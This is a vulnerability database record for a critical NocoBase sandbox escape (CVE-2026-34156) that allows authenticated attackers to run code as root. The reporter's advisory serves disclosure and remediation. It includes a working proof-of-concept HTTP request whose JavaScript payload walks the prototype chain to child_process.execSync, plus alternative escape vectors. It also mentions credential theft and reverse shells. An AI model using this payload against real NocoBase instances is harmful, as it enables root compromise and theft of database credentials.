{"id":"CVE-2026-34156","aliases":["CVE-2026-34156","GHSA-px3p-vgh9-m57c"],"related":[],"kind":"vulnerability","state":"published","title":"NocoBase Affected by Sandbox Escape to RCE via console._stdout Prototype Chain Traversal in Workflow Script Node","summary":"NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.28, NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOW_SCRIPT_MODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr. An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution as root. This issue has been patched in version 2.0.28.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.28, NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOW_SCRIPT_MODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr. An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution as root. This issue has been patched in version 2.0.28.","source":"cvelist"},{"lang":"en","text":"`##` Summary\n\nNocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js `vm` sandbox with a custom `require` allowlist (controlled by `WORKFLOW_SCRIPT_MODULES` env var). However, the `console` object passed into the sandbox context exposes host-realm `WritableWorkerStdio` stream objects via `console._stdout` and `console._stderr`.\n\nAn authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root.\n\n## Exploit Chain\n\n1. `console._stdout.constructor.constructor` → host-realm `Function` constructor\n2. `Function('return process')()` → Node.js `process` object\n3. `process.mainModule.require('child_process')` → unrestricted module loading\n4. `child_process.execSync('id')` → RCE as root\n\nThis completely bypasses the `customRequire` allowlist.\n\n## Impact\n\n- Remote Code Execution as root (uid=0) inside Docker container\n- Database credential theft (`DB_PASSWORD`, `INIT_ROOT_PASSWORD` from `process.env`)\n- Arbitrary file read/write via `require('fs')`\n- Reverse shell confirmed\n- Outbound network access for lateral movement\n\n## Proof of Concept\n\n**HTTP Request:**\n\nPOST /api/flow_nodes:test\nAuthorization: Bearer <JWT_TOKEN>\nContent-Type: application/json\n\n{\n  \"type\": \"script\",\n  \"config\": {\n    \"content\": \"const Fn=console._stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('child_process');return cp.execSync('id').toString().trim();\",\n    \"timeout\": 5000,\n    \"arguments\": []\n  }\n}\n\n**Response:**\n\n{\"data\":{\"status\":1,\"result\":\"uid=0(root) gid=0(root) groups=0(root)\",\"log\":\"\"}}\n\n## Environment\n\n- Docker image: `nocobase/nocobase:latest`\n- NocoBase CLI: v2.0.26\n- Node.js: v20.20.1\n- OS: Debian GNU/Linux 12 (bookworm)\n\n## PoC\n\nGot reverse shell\n\n<img width=\"1300\" height=\"743\" alt=\"Screenshot 2026-03-26 at 06 09 51\" src=\"https://github.com/user-attachments/assets/fcb65346-2d98-485a-a849-153d5957c78e\" />\n\nProof of concept the root privileges\n\n<img width=\"1292\" height=\"515\" alt=\"Screenshot 2026-03-26 at 06 12 29\" src=\"https://github.com/user-attachments/assets/599cd915-d5e9-47b6-9ddb-655ae4f22d50\" />\n\nos-release demonstration\n\n<img width=\"1290\" height=\"523\" alt=\"Screenshot 2026-03-26 at 06 12 54\" src=\"https://github.com/user-attachments/assets/48030450-f2b1-4edc-a7f0-caafbf55dd00\" />\n\n<img width=\"1296\" height=\"516\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f7012c09-885b-48fb-a6d4-7282c0326d0b\" />\n\nApp path\n\n<img width=\"1295\" height=\"516\" alt=\"Screenshot 2026-03-26 at 06 14 04\" src=\"https://github.com/user-attachments/assets/b4846af8-cb10-4c2a-886f-b19a120c2245\" />\n\n## Exploit Usage:\n\nReverse Shell Mode\n\n<img width=\"1299\" height=\"523\" alt=\"tool1\" src=\"https://github.com/user-attachments/assets/6c26d6f3-0ad2-4a61-9692-b150409ee569\" />\n\nDump system information & creds\n\n<img width=\"635\" height=\"591\" alt=\"tool2\" src=\"https://github.com/user-attachments/assets/08dbc231-d686-4536-8a74-272ceb5c10a8\" />\n\nRemote Command Execution Mode\n\n<img width=\"644\" height=\"467\" alt=\"tool3\" src=\"https://github.com/user-attachments/assets/fc95d89b-eff5-4eec-87b4-f6022778feec\" />\n\n\n\n## Remediation\n\n1. Replace Node.js `vm` module with `isolated-vm` for true V8 isolate separation\n2. Do not pass the host `console` object into the sandbox; create a clean proxy\n3. Run the application as a non-root user inside Docker\n4. Restrict `/api/flow_nodes:test` to admin-only roles\n\n## Alternative Escape Vectors\n\n- `console._stderr.constructor.constructor` (identical chain via stderr)\n- `Error.prepareStackTrace` + `CallSite.getThis()` (V8 CallSite API)\n\n## Reporter\n\nOnurcan Genç — Independent Security Researcher, Bilkent University","format":"markdown","source":"ghsa"},{"lang":"es","text":"NocoBase es una plataforma no-code/low-code impulsada por IA para construir aplicaciones de negocio y soluciones empresariales. Antes de la versión 2.0.28, el Nodo de Script de Flujo de Trabajo de NocoBase ejecuta JavaScript proporcionado por el usuario dentro de una sandbox vm de Node.js con una lista de permitidos de 'require' personalizada (controlada por la variable de entorno WORKFLOW_SCRIPT_MODULES). Sin embargo, el objeto 'console' pasado al contexto de la sandbox expone objetos de flujo 'WritableWorkerStdio' del ámbito del host a través de 'console._stdout' y 'console._stderr'. Un atacante autenticado puede recorrer la cadena de prototipos para escapar de la sandbox y lograr la ejecución remota de código como 'root'. Este problema ha sido parcheado en la versión 2.0.28.","source":"nvd"}],"published":"2026-03-30T17:16:24.000Z","modified":"2026-07-24T22:10:00.140Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"rating":"CRITICAL"}],"cwes":["CWE-913"],"affected":[{"ranges":[{"version":"< 2.0.28","status":"affected"}],"vendor":"nocobase","product":"nocobase","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.0.28"}],"ecosystem":"npm","package":"@nocobase/plugin-workflow-javascript","purl":"pkg:npm/%40nocobase/plugin-workflow-javascript","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"2.0.28"}],"vendor":"nocobase","product":"nocobase","cpe":"cpe:2.3:a:nocobase:nocobase:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/nocobase/nocobase/security/advisories/GHSA-px3p-vgh9-m57c","tags":["exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/nocobase/nocobase/pull/8967","tags":["issue-tracking","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/nocobase/nocobase/releases/tag/v2.0.28","tags":["product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34156","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/nocobase/nocobase","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-04-02T15:08:26.814Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-34156","url":"https://www.cve.org/CVERecord?id=CVE-2026-34156","licence":"CVE Terms of Use","modified":"2026-04-02T15:08:38.165Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-px3p-vgh9-m57c","url":"https://github.com/advisories/GHSA-px3p-vgh9-m57c","licence":"CC-BY-4.0","modified":"2026-03-31T19:05:42.569Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-34156","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34156","licence":"Public domain","modified":"2026-07-24T22:10:00.140Z"}],"updatedAt":"2026-11-25T22:59:17.576Z","epss":{"score":0.36026,"percentile":0.98507,"date":"2026-12-01T12:00:22.000Z"}}